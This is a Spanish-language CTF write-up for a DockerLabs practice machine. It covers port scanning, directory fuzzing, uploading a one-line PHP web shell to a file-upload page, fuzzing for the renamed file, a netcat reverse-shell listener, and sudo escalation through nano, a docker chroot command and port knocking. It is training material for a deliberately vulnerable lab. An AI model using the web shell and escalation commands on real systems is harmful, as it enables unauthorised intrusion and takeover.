Primer writeup para la plataforma DockerLabs 🐳 de Mario. Y tengo que decir que me ha gustado mucho, y con la que me he engachado y aprendido bastante. Es 100% recomendable para aquellos que quieren empezar en el mundo del Hacking Ético.
Creador: firstatack
Nmap Scan
❯ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
[sudo] password for m44lr0m:
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-15 10:14 EDT
Initiating ARP Ping Scan at 10:14
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 10:14, 0.04s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 10:14
Scanning 172.17.0.2 [65535 ports]
Discovered open port 80/tcp on 172.17.0.2
Discovered open port 22/tcp on 172.17.0.2
Completed SYN Stealth Scan at 10:14, 0.26s elapsed (65535 total ports)
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.0000020s latency).
Scanned at 2024-08-15 10:14:21 EDT for 0s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
MAC Address: 02:42:AC:11:00:02 (Unknown)
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
Hacemos ahora un escaneo más exhaustivo a los puertos que hemos obtenido en el primer reconocimiento:
❯ nmap -sCV -p22,80 172.17.0.2 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-15 11:16 EDT
Nmap scan report for collections.dl (172.17.0.2)
Host is up (0.00017s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 9a:a2:73:65:c5:4f:dd:36:57:7c:53:f6:98:82:96:04 (ECDSA)
|_ 256 c5:f4:bf:93:53:a3:8b:78:0c:8a:b2:fa:30:5b:b3:1b (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.58 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.53 seconds
Después de los escaeos con nmap y ver las versiones de los servicios que corren en la máquina podemos pasar a la siguiente fase.
Analisis web
Mientras corria el reconocimientopara determinar las versiones con nmap lanzo la herramienta WhatWeb:
❯ whatweb http://172.17.0.2
http://172.17.0.2 [200 OK] Apache[2.4.58], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.58 (Ubuntu)], IP[172.17.0.2], Title[Apache2 Ubuntu Default Page: It works]
En principio nada relevante asi que abrimos el navegador y entramos a la IP de la máquina victima, pero tampoco podemos obtener nada reseñable, simplemente la típica página de Apache. Asi que toca hacer un poco de fuzzing para encontrar directorios/páginas ocultas en el servidor.
❯ gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt -t60 --no-error -n 400
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://172.17.0.2
[+] Method: GET
[+] Threads: 60
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt,html
[+] No status: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php [Size: 275]
/index.html [Size: 10671]
/.html [Size: 275]
/hackademy [Size: 312] [--> http://172.17.0.2/hackademy/]
/.html [Size: 275]
/.php [Size: 275]
/server-status [Size: 275]
Progress: 882240 / 882244 (100.00%)
===============================================================
Finished
===============================================================
BINGO! Tenemos un directorio /hackademy el cual tenemos una web para poder subir fichero, esto nos lleva a la conclusión que podríamos subir una SHELL para explotar un RCE.

Subo un fichero con una pequeña shell con la que podré ejecutar comandos, o al menos es la intención…
<?php echo "Shell> ";system($_GET['cmd']); ?>
Al subir el fichero nos muestra una página con un mensaje:
El archivo rceshell.php ha sido subido y alterado xxx_tuarchivo , localizalo y actua.
En este punto podriamos volver a hacer fuzzing… ya que parece que han cambiado el nombre del fichero agregandole 3 caracteres. He usado PentestGPT de HackerAI para generar un diccionario para su posterior utilización con ffuf
import itertools
# Generar combinaciones de letras y números
letters = 'abcdefghijklmnopqrstuvwxyz'
numbers = '0123456789'
combinations = []
# Generar combinaciones de longitud 1 a 3
for length in range(3, 4):
for combo in itertools.product(letters + numbers, repeat=length):
combinations.append(''.join(combo))
# Guardar en un archivo
with open('diccionario.txt', 'w') as f:
for item in combinations:
f.write(f"{item}_rceshell.php\n")
Tiramos de FFUF con nuestro diccionario…
❯ ffuf -u http://172.17.0.2/hackademy/FUZZ -w diccionario.txt -t 200 -c
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://172.17.0.2/hackademy/FUZZ
:: Wordlist : FUZZ: /home/m44lr0m/dockerlabs/dockhacklab/content/diccionario.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 200
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
klp_rceshell.php [Status: 500, Size: 5, Words: 1, Lines: 1, Duration: 73ms]
:: Progress: [46656/46656] :: Job [1/1] :: 172 req/sec :: Duration: [0:00:11] :: Errors: 0 ::
Tendremos RCE?
http://172.17.0.2/hackademy/klp_rceshell.php?cmd=whoami
Shell> www-data
Efecitvamente, tenemos una pequeña shell para poder ejecutar comandos en la máquina victima. Nos vamos a RevShells y probamos a lanzar los comandos intentando conseguir acceso a la máquina, evidentemente hay que ponerse a la escucha en nuestra máquina:
❯ sudo nc -lvnp 433
Al probar varias revshell y ver que no consigo conectarme, tiro de reverse shell de PentestMonkey, así que subo el fichero con esta shell. Volvemos a lanzar el fuzzing anterior y automáticamente obtenemos la revserse shell ya que se ejecuta el fichero que hemos subido cuando lo encuentra…Hacemos el tratamiento de la tty y listo
Escalada
Como de costumbre lo primero que hago es ver que podemos ejecutar con sudo:
www-data@e142e65e8c32:/opt$ sudo -l
Matching Defaults entries for www-data on e142e65e8c32:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User www-data may run the following commands on e142e65e8c32:
(firsthacking) NOPASSWD: /usr/bin/nano
Buscamos en nuestras “Páginas amarillas” de binarios de confianza… GTFOBins como podemos hacer la escalada con nano. Hacemos la escalada a otro usuario que tampoco es root pero ya estamos cerca. Volvemos a mirar si podemos ejecutar algo como sudo, y hay suerte porque podemos ejecutar Docker como root, volvemos a buscar en GTFOBins.
sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Vaya! No me esperaba la respuesta…
firsthacking@e142e65e8c32:~$ sudo /usr/bin/docker run -v /:/mnt --rm -it alpine chroot /mnt sh
docker: Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?.
See 'docker run --help'.
Aquí es quizás donde mas tiempo he perdido… me descolocó bastante y me puse a buscar por directorios como opt, tmp… nada, no veía nada… ficheros ocultos en el home del usuario, encontramos el .docker que es el que nos llama la atención de primeras ya que la escalada hemos intentado hacerlo mediante docker
firsthacking@e142e65e8c32:~$ cat .docker
que utiles son las funciones del bashrc
uy uy uy… nos manda al bashrc y encontramos una función docker
function docker() {
echo "�Fijate que hay algo esperando a que llames"
echo -e "\n 12345 54321 24680 13579 \n"
echo -e "De nada servira si no llamas antes"
}
De otras máquinas esto nos resulta familiar, vemos los procesos que se están ejecutando para confirmar mi teoría:
root 1 0.0 0.2 229756 15472 ? Ssl 03:41 0:00 /usr/libexec/qemu-binfmt/x86_64-binfmt-P /bin/bash /bin/bash -c service ssh start ; service apache2 start ; service knock
Vaya… se está ejecutando el proceso de knock como root, con esto y lo anterior de bashrc podemos probar con knock:
❯ knock -v 172.17.0.2 12345 54321 24680 13579
hitting tcp 172.17.0.2:12345
hitting tcp 172.17.0.2:54321
hitting tcp 172.17.0.2:24680
hitting tcp 172.17.0.2:13579
Después de esto lo único que quedaría es probar de nuevo a ejecutar lo que vimos con GTFOBins:
sudo /usr/bin/docker run -v /:/mnt --rm -it alpine chroot /mnt sh
En teoría con esto obtendríamos una shell como root peeeero parece que con M1, que es lo que uso yo, virtualizando con VMWare un Kali versión para ARM. Es una suposición mía, que hay algo incompatible con M1. Es cierto que en otras máquina de dockerlabs que hay que usar esta misma técnica me pasa igual…
Para probar cosas he entrado como root: sudo docker exec -it 150 /bin/bash
Y he ejecutado el comando que en teoría lanza cuando funciona el knock
/usr/bin/dockerd
[0:26]
INFO[2024-08-16T08:18:39.037110719+10:00] stopping event stream following graceful shutdown error="context canceled" module=libcontainerd namespace=plugins.moby
failed to start daemon: Error initializing network controller: error obtaining controller instance: failed to create NAT chain DOCKER: iptables failed: iptables -t nat -N DOCKER: iptables: Failed to initialize nft: Protocol not supported
Así que nada me quedo sin la escalada pero el camino era el correcto…
Que es esto de knock y Port Knocking?
Esto es una técnica para ocultar servicios sensibles o que queremos ocultar. Estos servicios “ocultos” solo se levantarán si hacemos envio de paquetes a unos puertos específicos y en un orden concreto. Una vez recibimos esa secuencia de “golpes” el servicio se levantaría y ya sería accesible.